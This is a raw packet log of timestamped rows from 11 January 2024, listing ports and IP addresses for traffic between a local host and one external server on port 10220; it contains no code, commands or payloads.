Jan 11, 2024 13:45:13.885255098 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.885359049 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.885401964 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.885453939 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.885519028 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.885602951 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.885708094 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.885747910 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.885795116 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.885848999 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.885864973 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.885921955 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.885992050 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.886029959 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.886034966 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.886075974 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.886148930 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.886190891 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.886221886 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.886310101 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.886349916 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.886394024 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.886444092 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.886466026 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.886516094 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.886537075 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.886576891 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.886641026 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.886698961 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.886718988 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.886828899 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.886837959 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.886868954 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.886934996 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.886976004 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.887037039 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.887079954 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.887106895 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.887147903 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.887178898 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.887221098 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.887227058 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.887278080 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.887310028 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.887346029 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.887401104 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.887438059 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.887482882 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.887520075 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.887550116 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.887583971 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.887646914 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.887685061 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.887703896 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.887743950 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.887758017 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.887794971 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.887856007 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.887907028 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.887926102 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.887960911 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.887990952 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.888026953 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.888053894 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.888088942 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.888113976 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.888148069 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.888176918 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.888217926 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.888243914 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.888281107 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.888304949 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.888338089 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.888405085 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.888442993 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.888483047 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.888528109 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.888585091 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.888647079 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.888680935 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.888708115 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.888767004 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.888775110 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.888807058 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.888833046 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.888869047 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.888953924 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.889002085 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.889027119 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.889062881 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.889101028 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.889137030 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.889214993 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.889256954 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.889336109 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.889373064 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.889400005 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.889439106 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.889503956 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.889544010 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.889568090 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.889602900 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.889719963 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.889760017 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.889786959 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.889863968 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.889902115 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.889914036 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.889930010 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.889969110 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.889993906 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.890060902 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.890079975 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.890094995 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.890106916 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.890156984 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.890182972 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.890234947 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.890274048 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.890345097 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.890368938 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.890424967 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.890455961 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.890470982 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.890491009 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.890516043 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.890543938 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.890577078 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.890600920 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.890665054 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.890667915 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.890721083 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.890744925 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.890789986 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.890816927 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.890853882 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.890880108 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.890949011 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.890969038 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.890985966 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.891007900 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.891050100 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.891087055 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.891124964 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.891186953 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.891267061 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.891298056 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.891323090 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.891324997 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.891361952 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.891433954 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.891470909 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.891484022 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.891529083 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.891554117 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.891588926 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.891597986 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.891630888 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.891704082 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.891741037 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.891758919 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.891792059 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.891830921 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.891855955 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.891872883 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.891890049 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.891935110 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.891972065 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.891995907 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.892036915 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.892096043 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.892136097 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.892162085 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.892290115 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.892307997 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.892328024 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.892355919 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.892393112 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.892436028 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.892473936 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.892512083 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.892592907 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.892628908 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.892663956 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.892709017 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.892744064 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.892781973 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.892816067 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.892858028 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.892890930 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.892950058 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.892992020 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.893002987 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.893038988 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.893065929 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.893145084 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.893184900 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.893248081 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.893315077 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.893346071 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.893381119 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.893503904 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.893538952 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.893554926 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.893616915 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.893651962 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.893677950 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.893745899 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.893779993 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.893867016 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.893970966 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.894013882 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.894041061 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.894115925 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.894124985 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.894145966 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.894213915 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.894248962 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.894287109 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.894376993 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.894414902 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.894440889 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.894522905 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.894556046 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.894623995 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.894701004 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.894709110 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.894732952 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:13.894778967 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.896289110 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.070853949 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.070879936 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.070957899 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.070991993 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.071063042 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.071101904 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.071105003 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.071192026 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.071197033 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.071425915 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.071468115 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.071484089 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.071557045 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.071595907 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.071604013 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.071659088 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.071708918 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.071732998 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.071815014 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.071849108 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.071881056 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.071978092 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.072007895 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.072097063 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.072371960 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.072405100 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.072518110 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.072577953 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.072617054 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.072704077 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.072751999 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.073064089 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.073102951 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.073148012 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.073245049 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.073286057 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.073307991 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.073389053 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.073420048 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.073477030 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.073534966 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.073564053 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.073597908 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.073685884 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.073715925 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.073738098 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.073812008 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.073843956 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.073879957 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.073918104 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.073955059 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.073985100 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.074044943 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.074079037 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.074107885 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.074192047 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.074234962 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.074280977 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.074348927 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.074378967 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.074439049 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.074482918 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.074512005 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.074541092 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.074625015 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.074655056 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.074685097 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.074757099 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.074790955 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.074873924 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.074919939 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.074961901 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.074991941 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.075067043 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.075110912 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.075171947 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.075253010 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.075287104 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.075341940 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.075373888 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.075404882 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.075442076 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.075474024 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.075546026 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.075618982 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.075654030 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.075706005 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.075752974 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.075767040 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.075870991 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.075906992 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.075927019 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.075998068 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.076020002 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.076112032 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.076149940 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.076206923 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.076282024 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.076313972 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.076368093 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.076451063 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.076482058 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.076533079 CET	10220	49735	49.12.114.15	192.168.2.6
